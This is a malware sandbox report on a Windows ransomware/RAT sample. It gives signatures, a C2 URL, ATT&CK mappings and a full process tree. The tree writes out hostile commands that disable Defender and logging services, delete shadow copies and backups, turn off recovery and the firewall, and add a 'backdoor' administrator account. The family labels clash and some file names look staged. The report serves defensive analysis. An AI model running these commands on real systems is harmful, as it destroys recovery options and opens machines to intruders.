Overview

overview

10

Static

static

10

2026-08-17...ry.exe

windows10-2004-x64

10

2026-08-17...ry.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/08/2026, 00:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 66KB
  • Sample260818-aylcfssgrf
  • SHA256 7eceba663014db3e10b81adb882a34593c0a4aa276d47d3edf938248d4a3288b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionclopnanocoreimpactkeyloggerlateral_movementpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Version

  • 1.2.2.0

C2

  • http://cheezu.io

Mutex

  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://cheezu.io

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Family: clop

    Ransomware discovered in early 2019 which has been actively developed since release.

    ransomwareclop
  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Custom signature
    Detects command variations typically used by ransomware 3 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 10 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 3 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Drops file in System32 directory 13 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 40 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3600
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:820
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1156
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:848
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4840
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3424
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2376
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      PID:3460
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop bits
      2⤵
      • Launches sc.exe
      PID:1576
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config bits start= disabled
      2⤵
      • Launches sc.exe
      PID:3792
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop dosvc
      2⤵
      • Launches sc.exe
      PID:4540
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config dosvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3560
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop usosvc
      2⤵
      • Launches sc.exe
      PID:3300
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config usosvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2848
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5000
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SDRSVC
      2⤵
      • Launches sc.exe
      PID:4356
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SDRSVC start= disabled
      2⤵
      • Launches sc.exe
      PID:4912
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop vss
      2⤵
      • Launches sc.exe
      PID:1552
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config vss start= disabled
      2⤵
      • Launches sc.exe
      PID:2320
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop swprv
      2⤵
      • Launches sc.exe
      PID:1212
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config swprv start= disabled
      2⤵
      • Launches sc.exe
      PID:4084
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop EventLog
      2⤵
      • Launches sc.exe
      PID:4236
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config EventLog start= disabled
      2⤵
      • Launches sc.exe
      PID:700
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop EventSystem
      2⤵
      • Launches sc.exe
      PID:932
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config EventSystem start= disabled
      2⤵
      • Launches sc.exe
      PID:3800
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SysmonLog
      2⤵
      • Launches sc.exe
      PID:2384
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
      2⤵
      • Launches sc.exe
      PID:2416
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop Sysmon
      2⤵
      • Launches sc.exe
      PID:5108
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config Sysmon start= disabled
      2⤵
      • Launches sc.exe
      PID:4676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop sense
      2⤵
      • Launches sc.exe
      PID:2264
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config sense start= disabled
      2⤵
      • Launches sc.exe
      PID:2864
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WdNisSvc
      2⤵
      • Launches sc.exe
      PID:3584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WdNisSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:436
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1264
      • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:3772
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:4472
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4196
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2480
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4652
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4680
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 10 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1128
      • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
        C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
          PID:2204
        • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
          C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
            PID:3084
          • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
            C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
              PID:4900
            • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
              C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
              2⤵
                PID:2060
              • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                2⤵
                  PID:2120
                • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                  2⤵
                    PID:2268
                  • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                    2⤵
                      PID:1436
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                      2⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2844
                    • C:\Windows\System32\wscript.exe
                      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      2⤵
                      • Executes a VBScript file via the Windows Script Host.
                      PID:3476
                    • C:\Windows\System32\notepad.exe
                      "C:\Windows\System32\notepad.exe"
                      2⤵
                        PID:4192
                      • C:\Windows\System32\vssadmin.exe
                        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                        2⤵
                        • Interacts with shadow copies
                        PID:4084
                      • C:\Windows\System32\wbem\WMIC.exe
                        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                        2⤵
                          PID:1636
                        • C:\Windows\System32\net.exe
                          "C:\Windows\System32\net.exe" stop srservice
                          2⤵
                            PID:4892
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 stop srservice
                              3⤵
                                PID:4556
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:3752
                            • C:\Windows\System32\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                              2⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:4420
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" stop i8042prt
                              2⤵
                              • Launches sc.exe
                              PID:4916
                            • C:\Windows\System32\vssadmin.exe
                              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                              2⤵
                              • Interacts with shadow copies
                              PID:32
                            • C:\Windows\System32\wbem\WMIC.exe
                              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                              2⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4432
                            • C:\Windows\System32\wbadmin.exe
                              "C:\Windows\System32\wbadmin.exe" delete catalog -quiet
                              2⤵
                              • Deletes backup catalog
                              PID:1840
                            • C:\Windows\System32\bcdedit.exe
                              "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
                              2⤵
                              • Modifies boot configuration data using bcdedit
                              PID:4196
                            • C:\Windows\System32\bcdedit.exe
                              "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
                              2⤵
                              • Modifies boot configuration data using bcdedit
                              PID:680
                            • C:\Windows\System32\bcdedit.exe
                              "C:\Windows\System32\bcdedit.exe" /set {default} bootmenupolicy Legacy
                              2⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2012
                            • C:\Windows\System32\ReAgentc.exe
                              "C:\Windows\System32\ReAgentc.exe" /disable
                              2⤵
                              • Drops file in System32 directory
                              • Drops file in Windows directory
                              PID:3772
                            • C:\Windows\System32\bcdedit.exe
                              "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
                              2⤵
                              • Modifies boot configuration data using bcdedit
                              PID:4240
                            • C:\Windows\System32\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                              2⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:872
                            • C:\Windows\System32\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
                              2⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:4536
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                3⤵
                                  PID:700
                              • C:\Windows\System32\net.exe
                                "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
                                2⤵
                                • Creates a new local user account
                                PID:3560
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
                                  3⤵
                                  • Creates a new local user account
                                  PID:1060
                              • C:\Windows\System32\net.exe
                                "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
                                2⤵
                                  PID:3040
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 localgroup administrators backdoor /add
                                    3⤵
                                      PID:1388
                                  • C:\Windows\System32\net.exe
                                    "C:\Windows\System32\net.exe" localgroup "Remote Desktop Users" backdoor /add
                                    2⤵
                                    • Remote Service Session Hijacking: RDP Hijacking
                                    PID:3300
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
                                      3⤵
                                      • Remote Service Session Hijacking: RDP Hijacking
                                      PID:656
                                • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                  C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl0.bat
                                  1⤵
                                    PID:3788
                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                    C:\Users\Admin\AppData\Local\Temp\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                    1⤵
                                      PID:4540
                                    • C:\Windows\system32\wbengine.exe
                                      "C:\Windows\system32\wbengine.exe"
                                      1⤵
                                        PID:4212
                                      • C:\Windows\System32\vdsldr.exe
                                        C:\Windows\System32\vdsldr.exe -Embedding
                                        1⤵
                                          PID:4008
                                        • C:\Windows\System32\vds.exe
                                          C:\Windows\System32\vds.exe
                                          1⤵
                                          • Checks SCSI registry key(s)
                                          PID:4072

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Reconnaissance

                                              Resource Development

                                              Initial Access

                                              Execution

                                              Command and Scripting Interpreter

                                              3
                                              T1059

                                              PowerShell

                                              1
                                              T1059.001

                                              Visual Basic

                                              1
                                              T1059.005

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              System Services

                                              2
                                              T1569

                                              Service Execution

                                              2
                                              T1569.002

                                              Windows Management Instrumentation

                                              1
                                              T1047

                                              Persistence

                                              Account Manipulation

                                              1
                                              T1098

                                              Boot or Logon Autostart Execution

                                              2
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              2
                                              T1547.001

                                              Create Account

                                              1
                                              T1136

                                              Local Account

                                              1
                                              T1136.001

                                              Create or Modify System Process

                                              5
                                              T1543

                                              Windows Service

                                              5
                                              T1543.003

                                              Event Triggered Execution

                                              2
                                              T1546

                                              Image File Execution Options Injection

                                              1
                                              T1546.012

                                              Netsh Helper DLL

                                              1
                                              T1546.007

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Privilege Escalation

                                              Account Manipulation

                                              1
                                              T1098

                                              Boot or Logon Autostart Execution

                                              2
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              2
                                              T1547.001

                                              Create or Modify System Process

                                              5
                                              T1543

                                              Windows Service

                                              5
                                              T1543.003

                                              Event Triggered Execution

                                              2
                                              T1546

                                              Image File Execution Options Injection

                                              1
                                              T1546.012

                                              Netsh Helper DLL

                                              1
                                              T1546.007

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Defense Evasion

                                              Direct Volume Access

                                              1
                                              T1006

                                              Impair Defenses

                                              3
                                              T1562

                                              Disable or Modify System Firewall

                                              1
                                              T1562.004

                                              Disable or Modify Tools

                                              1
                                              T1562.001

                                              Indicator Removal

                                              3
                                              T1070

                                              File Deletion

                                              3
                                              T1070.004

                                              Modify Registry

                                              4
                                              T1112

                                              Credential Access

                                              Credentials from Password Stores

                                              1
                                              T1555

                                              Credentials from Web Browsers

                                              1
                                              T1555.003

                                              Unsecured Credentials

                                              1
                                              T1552

                                              Credentials In Files

                                              1
                                              T1552.001

                                              Discovery

                                              Browser Information Discovery

                                              1
                                              T1217

                                              Peripheral Device Discovery

                                              1
                                              T1120

                                              Permission Groups Discovery

                                              1
                                              T1069

                                              Local Groups

                                              1
                                              T1069.001

                                              Query Registry

                                              3
                                              T1012

                                              System Information Discovery

                                              3
                                              T1082

                                              Lateral Movement

                                              Remote Service Session Hijacking

                                              1
                                              T1563

                                              RDP Hijacking

                                              1
                                              T1563.002

                                              Collection

                                              Data from Local System

                                              1
                                              T1005

                                              Command and Control

                                              Exfiltration

                                              Impact

                                              Defacement

                                              1
                                              T1491

                                              Inhibit System Recovery

                                              4
                                              T1490

                                              Service Stop

                                              2
                                              T1489

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              scr_20260818_013748.jpg
                                              • Path C:\ProgramData\SysUpdate\Scr\scr_20260818_013748.jpg
                                              • Size 97KB
                                              • SHA256 983d808878cfeff967680f64895cfd56463a62aa22f8151146d8d2d8b15db609
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              invoice_1.pdf
                                              • Path C:\ProgramData\invoice_1.pdf
                                              • Size 88KB
                                              • SHA256 224ceffc8b419374c352e05212805b68903a68e1ff6656b5a1a02c9292b5d67a
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              doc_3.pdf
                                              • Path C:\SystemVolumeInformation\doc_3.pdf
                                              • Size 88KB
                                              • SHA256 cd38cc0e52f791261567c59c2dbf59bd1b4cf1b6a0a0124665760987ffe9dd53
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-08-17_2d8bababba3df963e029b0c7d75b480e_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                                              • Size 660B
                                              • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              __PSScriptPolicyTest_pqm0cmlf.kk4.ps1
                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pqm0cmlf.kk4.ps1
                                              • Size 60B
                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              createshortcut.vbs
                                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                              • Size 309B
                                              • SHA256 db88b0782dca59490c2a8ecc0fc2791726ee581413f26571cc3f3c2220f41c67
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              temp_steal.log
                                              • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                              • Size 658KB
                                              • SHA256 fb61f34a44850c6902e45084e0f46dbf6dffcbea63c21f542ca55b657579afcc
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              stolen_data_here.txt
                                              • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                              • Size 658KB
                                              • SHA256 b9d0a0edbca97d7821f575638a190f88908afa5401efd59148ae1df249510cdf
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              worm_ac3835bd.exe
                                              • Path C:\Users\Public\Documents\worm_ac3835bd.exe
                                              • Size 66KB
                                              • SHA256 7eceba663014db3e10b81adb882a34593c0a4aa276d47d3edf938248d4a3288b
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              memory/3600-11-0x000001926EFA0000-0x000001926EFC2000-memory.dmp
                                              Download

                                              memory/4192-5464-0x000002672E320000-0x000002672E321000-memory.dmp
                                              Download

                                              memory/4600-5109-0x000000001B830000-0x000000001B840000-memory.dmp
                                              Download

                                              memory/4600-0-0x0000000000CA0000-0x0000000000CB6000-memory.dmp
                                              Download

                                              memory/4600-1-0x000000001B830000-0x000000001B840000-memory.dmp
                                              Download